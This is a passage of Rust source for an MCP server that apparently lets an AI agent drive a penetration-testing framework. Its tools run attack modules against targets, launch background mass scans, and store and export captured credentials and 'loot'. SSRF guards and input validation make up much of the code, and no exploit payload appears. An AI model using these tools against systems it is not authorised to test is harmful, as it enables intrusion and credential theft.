name: "list_workspaces".into(),
|
||||
description: "List all available workspaces".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "switch_workspace".into(),
|
||||
description: "Switch to a different workspace (creates it if it does not exist)".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"name": { "type": "string" }
|
||||
},
|
||||
"required": ["name"]
|
||||
}),
|
||||
},
|
||||
// ── Export ────────────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "export_data".into(),
|
||||
description: "Export full engagement data (workspace, hosts, services, credentials, loot) as JSON".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
]
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Tool dispatch
|
||||
// ===========================================================================
|
||||
|
||||
/// Dispatch a tool call by name.
|
||||
pub async fn call_tool(name: &str, args: Value) -> ToolResult {
|
||||
match name {
|
||||
// ── Module tools ──────────────────────────────────────────
|
||||
"list_modules" => handle_list_modules(&args),
|
||||
"search_modules" => handle_search_modules(&args),
|
||||
"module_info" => handle_module_info(&args),
|
||||
|
||||
// ── Target tools ──────────────────────────────────────────
|
||||
"set_target" => handle_set_target(&args).await,
|
||||
"get_target" => handle_get_target(),
|
||||
"clear_target" => handle_clear_target(),
|
||||
|
||||
// ── Execution ─────────────────────────────────────────────
|
||||
"run_module" => handle_run_module(&args).await,
|
||||
|
||||
// ── Credentials ───────────────────────────────────────────
|
||||
"list_creds" => handle_list_creds().await,
|
||||
"search_creds" => handle_search_creds(&args).await,
|
||||
"add_cred" => handle_add_cred(&args).await,
|
||||
"delete_cred" => handle_delete_cred(&args).await,
|
||||
|
||||
// ── Workspace hosts & services ────────────────────────────
|
||||
"list_hosts" => handle_list_hosts().await,
|
||||
"add_host" => handle_add_host(&args).await,
|
||||
"delete_host" => handle_delete_host(&args).await,
|
||||
"list_services" => handle_list_services().await,
|
||||
"add_service" => handle_add_service(&args).await,
|
||||
"delete_service" => handle_delete_service(&args).await,
|
||||
|
||||
// ── Loot ──────────────────────────────────────────────────
|
||||
"list_loot" => handle_list_loot().await,
|
||||
"search_loot" => handle_search_loot(&args).await,
|
||||
"add_loot" => handle_add_loot(&args).await,
|
||||
"delete_loot" => handle_delete_loot(&args).await,
|
||||
|
||||
// ── Global options ────────────────────────────────────────
|
||||
"list_options" => handle_list_options().await,
|
||||
"set_option" => handle_set_option(&args).await,
|
||||
"unset_option" => handle_unset_option(&args).await,
|
||||
|
||||
// ── Jobs ──────────────────────────────────────────────────
|
||||
"list_jobs" => handle_list_jobs(),
|
||||
"kill_job" => handle_kill_job(&args),
|
||||
|
||||
// ── Workspace management ──────────────────────────────────
|
||||
"list_workspaces" => handle_list_workspaces().await,
|
||||
"switch_workspace" => handle_switch_workspace(&args).await,
|
||||
|
||||
// ── Export ────────────────────────────────────────────────
|
||||
"export_data" => handle_export_data().await,
|
||||
|
||||
_ => ToolResult::error(format!("Unknown tool: {}", name)),
|
||||
}
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Helpers to extract typed values from serde_json::Value
|
||||
// ===========================================================================
|
||||
|
||||
/// Extract a required string parameter, returning ToolResult::error if missing.
|
||||
macro_rules! require_str {
|
||||
($args:expr, $key:expr) => {
|
||||
match str_param($args, $key) {
|
||||
Some(v) => v,
|
||||
None => return ToolResult::error(format!("Missing required parameter: {}", $key)),
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
fn str_param<'a>(args: &'a Value, key: &str) -> Option<&'a str> {
|
||||
args.get(key).and_then(|v| v.as_str())
|
||||
}
|
||||
|
||||
fn u16_param(args: &Value, key: &str) -> Option<u16> {
|
||||
// try_from rejects out-of-range — `as u16` would silently wrap, e.g.
|
||||
// {"port": 70000} → 4464, bypassing every downstream port check.
|
||||
args.get(key).and_then(|v| v.as_u64()).and_then(|n| u16::try_from(n).ok())
|
||||
}
|
||||
|
||||
fn u32_param(args: &Value, key: &str) -> Option<u32> {
|
||||
args.get(key).and_then(|v| v.as_u64()).and_then(|n| u32::try_from(n).ok())
|
||||
}
|
||||
|
||||
fn bool_param(args: &Value, key: &str) -> Option<bool> {
|
||||
args.get(key).and_then(|v| v.as_bool())
|
||||
}
|
||||
|
||||
fn prompts_param(args: &Value) -> HashMap<String, String> {
|
||||
let mut map = HashMap::new();
|
||||
if let Some(obj) = args.get("prompts").and_then(|v| v.as_object()) {
|
||||
for (k, v) in obj {
|
||||
if let Some(s) = v.as_str() {
|
||||
map.insert(k.clone(), s.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
map
|
||||
}
|
||||
|
||||
/// Reduce an attacker-supplied prompt value to a bare host suitable for the
|
||||
/// SSRF block-check chain (`is_blocked_target` / `ssrf_gate`), which expect an
|
||||
/// IP/hostname rather than a full URL. Returns None when the value can't yield
|
||||
/// a host to check.
|
||||
fn extract_ssrf_candidate(raw: &str) -> Option<String> {
|
||||
let val = raw.trim();
|
||||
if val.is_empty() {
|
||||
return None;
|
||||
}
|
||||
// Strip a scheme (e.g. http://, https://, ftp://, gopher://) if present.
|
||||
let after_scheme = match val.find("://") {
|
||||
Some(idx) => &val[idx + 3..],
|
||||
None => val,
|
||||
};
|
||||
// Strip any userinfo (user:pass@host).
|
||||
let after_userinfo = match after_scheme.rsplit_once('@') {
|
||||
Some((_, host_part)) => host_part,
|
||||
None => after_scheme,
|
||||
};
|
||||
// Cut off path / query / fragment.
|
||||
let authority = after_userinfo
|
||||
.split(['/', '?', '#'])
|
||||
.next()
|
||||
.unwrap_or(after_userinfo);
|
||||
// Strip a trailing :port. Handle bracketed IPv6 literals separately.
|
||||
let host = if let Some(stripped) = authority.strip_prefix('[') {
|
||||
// [ipv6]:port or [ipv6]
|
||||
stripped.split(']').next().unwrap_or(stripped)
|
||||
} else if authority.matches(':').count() > 1 {
|
||||
// Bare IPv6 literal (e.g. `::1`, `fe80::1`) — there is no port to strip;
|
||||
// keep the whole authority. Without this, `rsplit_once(':')` on `::1`
|
||||
// yields host `":"`, which sails past the loopback/link-local SSRF
|
||||
// filters (mirrors the single-colon guard in api::is_blocked_target).
|
||||
authority
|
||||
} else if let Some((h, _port)) = authority.rsplit_once(':') {
|
||||
// Only treat the suffix as a port if it is all digits; otherwise the
|
||||
// colon is part of the host (shouldn't happen for unbracketed) — keep
|
||||
// the whole authority.
|
||||
let port_part = &authority[h.len() + 1..];
|
||||
if !port_part.is_empty() && port_part.chars().all(|c| c.is_ascii_digit()) {
|
||||
h
|
||||
} else {
|
||||
authority
|
||||
}
|
||||
} else {
|
||||
authority
|
||||
};
|
||||
let host = host.trim();
|
||||
if host.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(host.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
/// Heuristic: does this prompt value look like a URL or a host:port pair?
|
||||
/// Used so we only apply the SSRF check to non-destination keys when the value
|
||||
/// is plausibly a network destination, avoiding false rejection of unrelated
|
||||
/// string options.
|
||||
fn looks_like_url_or_hostport(raw: &str) -> bool {
|
||||
let val = raw.trim();
|
||||
if val.is_empty() {
|
||||
return false;
|
||||
}
|
||||
if val.contains("://") {
|
||||
return true;
|
||||
}
|
||||
// host:port form (e.g. 169.254.169.254:80) — digits after the last colon.
|
||||
if let Some((host, port)) = val.rsplit_once(':') {
|
||||
if !host.is_empty()
|
||||
&& !port.is_empty()
|
||||
&& port.chars().all(|c| c.is_ascii_digit())
|
||||
&& !host.contains(' ')
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Individual tool handlers
|
||||
// ===========================================================================
|
||||
|
||||
// ── Module tools ──────────────────────────────────────────────────────────
|
||||
|
||||
fn handle_list_modules(args: &Value) -> ToolResult {
|
||||
let modules = crate::commands::discover_modules();
|
||||
let filtered: Vec<&String> = if let Some(cat) = str_param(args, "category") {
|
||||
let prefix = format!("{}/", cat);
|
||||
modules.iter().filter(|m| m.starts_with(&prefix)).collect()
|
||||
} else {
|
||||
modules.iter().collect()
|
||||
};
|
||||
ToolResult::json(&filtered)
|
||||
}
|
||||
|
||||
fn handle_search_modules(args: &Value) -> ToolResult {
|
||||
let query = require_str!(args, "query");
|
||||
let q_lower = query.to_lowercase();
|
||||
let modules = crate::commands::discover_modules();
|
||||
let matched: Vec<&String> = modules
|
||||
.iter()
|
||||
.filter(|m| m.to_lowercase().contains(&q_lower))
|
||||
.collect();
|
||||
ToolResult::json(&matched)
|
||||
}
|
||||
|
||||
fn handle_module_info(args: &Value) -> ToolResult {
|
||||
let path = require_str!(args, "module_path");
|
||||
if !crate::api::validate_module_name(path) {
|
||||
return ToolResult::error("Invalid module name".into());
|
||||
}
|
||||
match crate::commands::module_info(path) {
|
||||
Some(info) => ToolResult::json(&info),
|
||||
None => ToolResult::error(format!("No info available for module '{}'", path)),
|
||||
}
|
||||
}
|
||||
|
||||
// ── Target tools ──────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_set_target(args: &Value) -> ToolResult {
|
||||
let target = require_str!(args, "target");
|
||||
if !crate::api::validate_target(target) {
|
||||
return ToolResult::error("Invalid target format".into());
|
||||
}
|
||||
if crate::api::is_blocked_target(target) {
|
||||
return ToolResult::error("Target matches blocked address range".into());
|
||||
}
|
||||
if let Err((code, msg)) = crate::api::ssrf_gate(target).await {
|
||||
return ToolResult::error(format!("[{}] {}", code, msg));
|
||||
}
|
||||
match crate::config::GLOBAL_CONFIG.set_target(target) {
|
||||
Ok(()) => ToolResult::text(format!("Target set to: {}", target)),
|
||||
Err(e) => ToolResult::error(format!("Failed to set target: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
fn handle_get_target() -> ToolResult {
|
||||
let target = crate::config::GLOBAL_CONFIG.get_target();
|
||||
let size = crate::config::GLOBAL_CONFIG.get_target_size();
|
||||
let is_subnet = crate::config::GLOBAL_CONFIG.is_subnet();
|
||||
ToolResult::json(&json!({
|
||||
"target": target,
|
||||
"size": size,
|
||||
"is_subnet": is_subnet,
|
||||
}))
|
||||
}
|
||||
|
||||
fn handle_clear_target() -> ToolResult {
|
||||
crate::config::GLOBAL_CONFIG.clear_target();
|
||||
ToolResult::text("Target cleared".into())
|
||||
}
|
||||
|
||||
// ── Execution ─────────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_run_module(args: &Value) -> ToolResult {
|
||||
let module_path = require_str!(args, "module_path").to_string();
|
||||
let target = require_str!(args, "target").to_string();
|
||||
let verbose = bool_param(args, "verbose").unwrap_or(false);
|
||||
|
||||
if !crate::api::validate_module_name(&module_path) {
|
||||
return ToolResult::error("Invalid module name".into());
|
||||
}
|
||||
if !crate::api::validate_target(&target) {
|
||||
return ToolResult::error("Invalid target format".into());
|
||||
}
|
||||
if crate::api::is_blocked_target(&target) {
|
||||
return ToolResult::error("Target matches blocked address range".into());
|
||||
}
|
||||
if let Err((code, msg)) = crate::api::ssrf_gate(&target).await {
|
||||
return ToolResult::error(format!("[{}] {}", code, msg));
|
||||
}
|
||||
|
||||
if !crate::commands::discover_modules().contains(&module_path) {
|
||||
return ToolResult::error(format!("Module '{}' not found", module_path));
|
||||
}
|
||||
|
||||
let mut prompts = prompts_param(args);
|
||||
// Port is optional: absent or null means "use the module default". If it IS
|
||||
// present it must be a valid 1-65535 integer — reject an out-of-range value
|
||||
// explicitly rather than silently dropping it (which would fall back to the
|
||||
// default and hide the operator's typo).
|
||||
if args.get("port").is_some_and(|v| !v.is_null()) {
|
||||
match u16_param(args, "port") {
|
||||
Some(port) => {
|
||||
prompts.entry("port".into()).or_insert_with(|| port.to_string());
|
||||
}
|
||||
None => return ToolResult::error("Invalid 'port': must be an integer 1-65535".into()),
|
||||
}
|
||||
}
|
||||
// Strip "target" from prompts to prevent SSRF bypass via prompt injection
|
||||
prompts.remove("target");
|
||||
|
||||
// SSRF guard: many modules read their actual connection destination from a
|
||||
// prompt key other than `target` (e.g. url/host/endpoint/lhost). Run the
|
||||
// same block-check chain we applied to `target` over every prompt value that
|
||||
// looks like a URL or host so a benign `target` can't be used to smuggle a
|
||||
// blocked metadata/link-local/loopback destination past the filter.
|
||||
for (key, raw) in prompts.iter() {
|
||||
let lkey = key.to_ascii_lowercase();
|
||||
let is_dest_key = matches!(lkey.as_str(), "url" | "host" | "endpoint" | "lhost" | "rhost" | "remote_host" | "target_url" | "uri");
|
||||
if let Some(candidate) = extract_ssrf_candidate(raw) {
|
||||
// Always check explicit destination keys; for other keys only check
|
||||
// values that actually parse as a URL or host:port to avoid false
|
||||
// rejections of unrelated string options.
|
||||
if is_dest_key || looks_like_url_or_hostport(raw) {
|
||||
if crate::api::is_blocked_target(&candidate) {
|
||||
return ToolResult::error(format!(
|
||||
"Prompt '{}' targets a blocked address range",
|
||||
key
|
||||
));
|
||||
}
|
||||
if let Err((code, msg)) = crate::api::ssrf_gate(&candidate).await {
|
||||
return ToolResult::error(format!("Prompt '{}' [{}]: {}", key, code, msg));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let module_config = crate::config::ModuleConfig {
|
||||
api_mode: true,
|
||||
custom_prompts: prompts,
|
||||
};
|
||||
|
||||
// Background mode: spawn a job and return immediately. Essential for mass
|
||||
// scans (CIDR / random / lists) whose fan-out can run far longer than the
|
||||
// MCP tool-call timeout — running them inline would be cut off mid-scan.
|
||||
if bool_param(args, "background").unwrap_or(false) {
|
||||
let s = crate::tenant::resolve();
|
||||
return match s.job_manager().spawn(module_path.clone(), target.clone(), verbose, Some(module_config)) {
|
||||
Ok((job_id, _progress)) => ToolResult::json(&serde_json::json!({
|
||||
"job_id": job_id,
|
||||
"status": "started",
|
||||
"note": "poll list_jobs for status; results land in hosts/loot/creds",
|
||||
})),
|
||||
Err(e) => ToolResult::error(format!("Failed to start job: {e}")),
|
||||
};
|
||||
}
|
||||
|
||||
let output_buf = crate::output::OutputBuffer::new();
|
||||
let buf_clone = output_buf.clone();
|
||||
|
||||
let (result, _ctx) = crate::context::run_with_context_target(
|
||||
module_config,
|
||||
target.clone(),
|
||||
|| async {
|
||||
crate::output::OUTPUT_BUFFER
|
||||
.scope(buf_clone, async {
|
||||
crate::commands::run_module(&module_path, &target, verbose).await
|
||||
})
|
||||
.await
|
||||
},
|
||||
)
|
||||
.await;
|
||||
|
||||
let stdout = output_buf.drain_stdout();
|
||||
let stderr = output_buf.drain_stderr();
|
||||
|
||||
match result {
|
||||
Ok(()) => {
|
||||
let mut text = stdout;
|
||||
if !stderr.is_empty() {
|
||||
text.push_str("\n--- stderr ---\n");
|
||||
text.push_str(&stderr);
|
||||
}
|
||||
if text.is_empty() {
|
||||
text = "Module completed successfully (no output captured)".into();
|
||||
}
|
||||
ToolResult::text(text)
|
||||
}
|
||||
Err(e) => {
|
||||
let mut msg = format!("Module error: {}\n", e);
|
||||
if !stdout.is_empty() {
|
||||
msg.push_str("\n--- stdout ---\n");
|
||||
msg.push_str(&stdout);
|
||||
}
|
||||
if !stderr.is_empty() {
|
||||
msg.push_str("\n--- stderr ---\n");
|
||||
msg.push_str(&stderr);
|
||||
}
|
||||
ToolResult::error(msg)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ── Credentials ───────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_list_creds() -> ToolResult {
|
||||
let creds = crate::cred_store::CRED_STORE.list().await;
|
||||
ToolResult::json(&creds)
|
||||
}
|
||||
|
||||
async fn handle_search_creds(args: &Value) -> ToolResult {
|
||||
let query = require_str!(args, "query");
|
||||
let results = crate::cred_store::CRED_STORE.search(query).await;
|
||||
ToolResult::json(&results)
|
||||
}
|
||||
|
||||
async fn handle_add_cred(args: &Value) -> ToolResult {
|
||||
let host = require_str!(args, "host");
|
||||
let username = require_str!(args, "username");
|
||||
let secret = require_str!(args, "secret");
|
||||
let port = match u16_param(args, "port") {
|
||||
Some(0) => return ToolResult::error("Port must be between 1 and 65535".into()),
|
||||
Some(p) => p,
|
||||
None => return ToolResult::error("Missing required parameter: port".into()),
|
||||
};
|
||||
let service = str_param(args, "service").unwrap_or("unknown");
|
||||
if host.len() > 4096 || host.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("host too long (max 4096) or contains control characters".into());
|
||||
}
|
||||
if username.len() > 4096 || username.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("username too long (max 4096) or contains control characters".into());
|
||||
}
|
||||
if secret.len() > 4096 {
|
||||
return ToolResult::error("secret too long (max 4096 chars)".into());
|
||||
}
|
||||
if service.len() > 4096 || service.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("service too long (max 4096) or contains control characters".into());
|
||||
}
|
||||
let cred_type = match str_param(args, "cred_type").unwrap_or("password") {
|
||||
"hash" => crate::cred_store::CredType::Hash,
|
||||
"key" => crate::cred_store::CredType::Key,
|
||||
"token" => crate::cred_store::CredType::Token,
|
||||
_ => crate::cred_store::CredType::Password,
|
||||
};
|
||||
|
||||
match crate::cred_store::CRED_STORE
|
||||
.add(crate::cred_store::NewCred { host, port, service, username, secret, cred_type, source_module: "mcp" })
|
||||
.await
|
||||
{
|
||||
Some(id) => ToolResult::json(&json!({ "id": id, "status": "added" })),
|
||||
None => ToolResult::error("Failed to add credential (store limit reached or I/O error)".into()),
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_delete_cred(args: &Value) -> ToolResult {
|
||||
let id = require_str!(args, "id");
|
||||
if crate::cred_store::CRED_STORE.delete(id).await {
|
||||
ToolResult::text(format!("Credential {} deleted", id))
|
||||
} else {
|
||||
ToolResult::error(format!("Credential {} not found", id))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Workspace hosts & services ────────────────────────────────────────────
|
||||
|
||||
async fn handle_list_hosts() -> ToolResult {
|
||||
let hosts = crate::workspace::WORKSPACE.hosts().await;
|
||||
ToolResult::json(&hosts)
|
||||
}
|
||||
|
||||
async fn handle_add_host(args: &Value) -> ToolResult {
|
||||
let ip = require_str!(args, "ip");
|
||||
if ip.len() > 256 || ip.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("IP too long (max 256) or contains control characters".into());
|
||||
}
|
||||
let hostname = str_param(args, "hostname");
|
||||
if let Some(h) = hostname
|
||||
&& (h.len() > 256 || h.chars().any(|c| c.is_control())) {
|
||||
return ToolResult::error("hostname too long (max 256) or contains control characters".into());
|
||||
}
|
||||
let os_guess = str_param(args, "os_guess");
|
||||
if let Some(o) = os_guess
|
||||
&& (o.len() > 256 || o.chars().any(|c| c.is_control())) {
|
||||
return ToolResult::error("os_guess too long (max 256) or contains control characters".into());
|
||||
}
|
||||
crate::workspace::WORKSPACE
|
||||
.add_host(ip, hostname, os_guess)
|
||||
.await;
|
||||
ToolResult::text(format!("Host {} added/updated", ip))
|
||||
}
|
||||
|
||||
async fn handle_delete_host(args: &Value) -> ToolResult {
|
||||
let ip = require_str!(args, "ip");
|
||||
if crate::workspace::WORKSPACE.delete_host(ip).await {
|
||||
ToolResult::text(format!("Host {} deleted", ip))
|
||||
} else {
|
||||
ToolResult::error(format!("Host {} not found", ip))
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_list_services() -> ToolResult {
|
||||
let services = crate::workspace::WORKSPACE.services().await;
|
||||
ToolResult::json(&services)
|
||||
}
|
||||
|
||||
async fn handle_add_service(args: &Value) -> ToolResult {
|
||||
let host = require_str!(args, "host");
|
||||
let port = match u16_param(args, "port") {
|
||||
Some(0) => return ToolResult::error("Port must be between 1 and 65535".into()),
|
||||
Some(v) => v,
|
||||
None => return ToolResult::error("Missing required parameter: port".into()),
|
||||
};
|
||||
if host.len() > 256 || host.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("host too long (max 256) or contains control characters".into());
|
||||
}
|
||||
let service_name = require_str!(args, "service_name");
|
||||
let protocol = str_param(args, "protocol").unwrap_or("tcp");
|
||||
if protocol.len() > 256 || protocol.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("protocol too long (max 256) or contains control characters".into());
|
||||
}
|
||||
let version = str_param(args, "version");
|
||||
crate::workspace::WORKSPACE
|
||||
.add_service(host, port, protocol, service_name, version)
|
||||
.await;
|
||||
ToolResult::text(format!("Service {}:{} ({}) added/updated", host, port, service_name))
|
||||
}
|
||||
|
||||
async fn handle_delete_service(args: &Value) -> ToolResult {
|
||||
let host = require_str!(args, "host");
|
||||
let port = match u16_param(args, "port") {
|
||||
Some(v) => v,
|
||||
None => return ToolResult::error("Missing required parameter: port".into()),
|
||||
};
|
||||
let protocol = args.get("protocol").and_then(|v| v.as_str());
|
||||
if crate::workspace::WORKSPACE.delete_service(host, port, protocol).await {
|
||||
ToolResult::text(format!("Service {}:{} deleted", host, port))
|
||||
} else {
|
||||
ToolResult::error(format!("Service {}:{} not found", host, port))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Loot ──────────────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_list_loot() -> ToolResult {
|
||||
let loot = crate::loot::LOOT_STORE.list().await;
|
||||
ToolResult::json(&loot)
|
||||
}
|
||||
|
||||
async fn handle_search_loot(args: &Value) -> ToolResult {
|
||||
let query = require_str!(args, "query");
|
||||
let results = crate::loot::LOOT_STORE.search(query).await;
|
||||
ToolResult::json(&results)
|
||||
}
|
||||
|
||||
async fn handle_add_loot(args: &Value) -> ToolResult {
|
||||
let host = require_str!(args, "host");
|
||||
let loot_type = require_str!(args, "loot_type");
|
||||
let data = require_str!(args, "data");
|
||||
let description = str_param(args, "description").unwrap_or("");
|
||||
|
||||
if host.len() > 256 || loot_type.len() > 256 {
|
||||
return ToolResult::error("host or loot_type too long (max 256)".into());
|
||||
}
|
||||
if description.len() > 4096 {
|
||||
return ToolResult::error("description too long (max 4096)".into());
|
||||
}
|
||||
const MAX_LOOT_DATA: usize = 100 * 1024 * 1024;
|
||||
if data.len() > MAX_LOOT_DATA {
|
||||
return ToolResult::error(format!("data too large ({} bytes, max {} MB)", data.len(), MAX_LOOT_DATA / 1024 / 1024));
|
||||
}
|
||||
|
||||
match crate::loot::LOOT_STORE
|
||||
.add_text(host, loot_type, description, data, "mcp")
|
||||
.await
|
||||
{
|
||||
Some(id) => ToolResult::json(&json!({ "id": id, "status": "stored" })),
|
||||
None => ToolResult::error("Failed to store loot (validation or I/O error)".into()),
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_delete_loot(args: &Value) -> ToolResult {
|
||||
let id = require_str!(args, "id");
|
||||
if crate::loot::LOOT_STORE.delete(id).await {
|
||||
ToolResult::text(format!("Loot {} deleted", id))
|
||||
} else {
|
||||
ToolResult::error(format!("Loot {} not found", id))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Global options ────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_list_options() -> ToolResult {
|
||||
let opts = crate::global_options::GLOBAL_OPTIONS.all().await;
|
||||
ToolResult::json(&opts)
|
||||
}
|
||||
|
||||
async fn handle_set_option(args: &Value) -> ToolResult {
|
||||
let key = require_str!(args, "key");
|
||||
let value = require_str!(args, "value");
|
||||
if !crate::global_options::GLOBAL_OPTIONS.set(key, value).await {
|
||||
return ToolResult::error(format!("Failed to set '{}': key/value too long or entry limit reached", key));
|
||||
}
|
||||
ToolResult::text(format!("{} => {}", key, value))
|
||||
}
|
||||
|
||||
async fn handle_unset_option(args: &Value) -> ToolResult {
|
||||
let key = require_str!(args, "key");
|
||||
if crate::global_options::GLOBAL_OPTIONS.unset(key).await {
|
||||
ToolResult::text(format!("Option '{}' removed", key))
|
||||
} else {
|
||||
ToolResult::error(format!("Option '{}' not found", key))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Jobs ──────────────────────────────────────────────────────────────────
|
||||
|
||||
fn handle_list_jobs() -> ToolResult {
|
||||
// Use the tenant-scoped job manager — the same one `run_module` spawns into
|
||||
// (line ~639) — so a job started under a non-default tenant is visible here
|
||||
// instead of vanishing into the process-global manager.
|
||||
let jobs = crate::tenant::resolve().job_manager().list();
|
||||
let entries: Vec<Value> = jobs
|
||||
.into_iter()
|
||||
.map(|(id, module, target, started, status)| {
|
||||
json!({
|
||||
"id": id,
|
||||
"module": module,
|
||||
"target": target,
|
||||
"started": started,
|
||||
"status": status,
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
ToolResult::json(&entries)
|
||||
}
|
||||
|
||||
fn handle_kill_job(args: &Value) -> ToolResult {
|
||||
let id = match u32_param(args, "id") {
|
||||
Some(v) => v,
|
||||
None => return ToolResult::error("Missing required parameter: id (integer)".into()),
|
||||
};
|
||||
// Tenant-scoped (matches spawn + list) so tenant jobs are killable.
|
||||
if crate::tenant::resolve().job_manager().kill(id) {
|
||||
ToolResult::text(format!("Job {} killed", id))
|
||||
} else {
|
||||
ToolResult::error(format!("Job {} not found", id))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Workspace management ──────────────────────────────────────────────────
|
||||
|
||||
async fn handle_list_workspaces() -> ToolResult {
|
||||
let workspaces = crate::workspace::WORKSPACE.list_workspaces().await;
|
||||
let current = crate::workspace::WORKSPACE.current_name().await;
|
||||
ToolResult::json(&json!({
|
||||
"workspaces": workspaces,
|
||||
"current": current,
|
||||
}))
|
||||
}
|
||||
|
||||
async fn handle_switch_workspace(args: &Value) -> ToolResult {
|
||||
let name = require_str!(args, "name");
|
||||
if name.is_empty() || name.len() > 64
|
||||
|| name.chars().any(|c| !c.is_alphanumeric() && c != '_' && c != '-')
|
||||
{
|
||||
return ToolResult::error("Workspace name must be 1-64 alphanumeric chars, dashes, or underscores".into());
|
||||
}
|
||||
crate::workspace::WORKSPACE.switch(name).await;
|
||||
ToolResult::text(format!("Switched to workspace: {}", name))
|
||||
}
|
||||
|
||||
// ── Export ─────────────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_export_data() -> ToolResult {
|
||||
let workspace_name = crate::workspace::WORKSPACE.current_name().await;
|
||||
let workspace_data = crate::workspace::WORKSPACE.get_data().await;
|
||||
let creds = crate::cred_store::CRED_STORE.list().await;
|
||||
let loot = crate::loot::LOOT_STORE.list().await;
|
||||
|
||||
ToolResult::json(&json!({
|
||||
"workspace": workspace_name,
|
||||
"exported_at": chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
|
||||
"hosts": workspace_data.hosts,
|
||||
"services": workspace_data.services,
|
||||
"credentials": creds,
|
||||
"loot": loot,
|
||||
}))
|
||||
}
|
||||
@@ -0,0 +1,185 @@
|
||||
use serde::{Deserialize, Serialize};
|
||||
use serde_json::Value;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// JSON-RPC 2.0 core types
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Incoming JSON-RPC 2.0 request (or notification when `id` is `None`).
|
||||
#[derive(Deserialize)]
|
||||
pub struct JsonRpcRequest {
|
||||
pub jsonrpc: String,
|
||||
/// `None` means this is a notification (no response expected).
|
||||
pub id: Option<Value>,
|
||||
pub method: String,
|
||||
pub params: Option<Value>,
|
||||
}
|
||||
|
||||
/// Outgoing JSON-RPC 2.0 response.
|
||||
#[derive(Serialize)]
|
||||
pub struct JsonRpcResponse {
|
||||
pub jsonrpc: String,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub id: Option<Value>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub result: Option<Value>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub error: Option<JsonRpcError>,
|
||||
}
|
||||
|
||||
/// JSON-RPC 2.0 error object.
|
||||
#[derive(Serialize)]
|
||||
pub struct JsonRpcError {
|
||||
pub code: i64,
|
||||
pub message: String,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub data: Option<Value>,
|
||||
}
|
||||
|
||||
impl JsonRpcResponse {
|
||||
/// Build a successful response carrying `result`.
|
||||
pub fn success(id: Option<Value>, result: Value) -> Self {
|
||||
Self {
|
||||
jsonrpc: "2.0".to_string(),
|
||||
id,
|
||||
result: Some(result),
|
||||
error: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Build an error response.
|
||||
pub fn error(id: Option<Value>, code: i64, message: String) -> Self {
|
||||
Self {
|
||||
jsonrpc: "2.0".to_string(),
|
||||
id,
|
||||
result: None,
|
||||
error: Some(JsonRpcError {
|
||||
code,
|
||||
message,
|
||||
data: None,
|
||||
}),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// MCP capability negotiation
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Returned as the result of the `initialize` method.
|
||||
#[derive(Serialize)]
|
||||
pub struct InitializeResult {
|
||||
#[serde(rename = "protocolVersion")]
|
||||
pub protocol_version: String,
|
||||
pub capabilities: ServerCapabilities,
|
||||
#[serde(rename = "serverInfo")]
|
||||
pub server_info: ServerInfo,
|
||||
}
|
||||
|
||||
#[derive(Serialize)]
|
||||
pub struct ServerCapabilities {
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub tools: Option<ToolsCapability>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub resources: Option<ResourcesCapability>,
|
||||
}
|
||||
|
||||
#[derive(Serialize)]
|
||||
pub struct ToolsCapability {}
|
||||
|
||||
#[derive(Serialize)]
|
||||
pub struct ResourcesCapability {}
|
||||
|
||||
#[derive(Serialize)]
|
||||
pub struct ServerInfo {
|
||||
pub name: String,
|
||||
pub version: String,
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Tools
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Descriptor returned by `tools/list`.
|
||||
#[derive(Serialize, Clone)]
|
||||
pub struct Tool {
|
||||
pub name: String,
|
||||
pub description: String,
|
||||
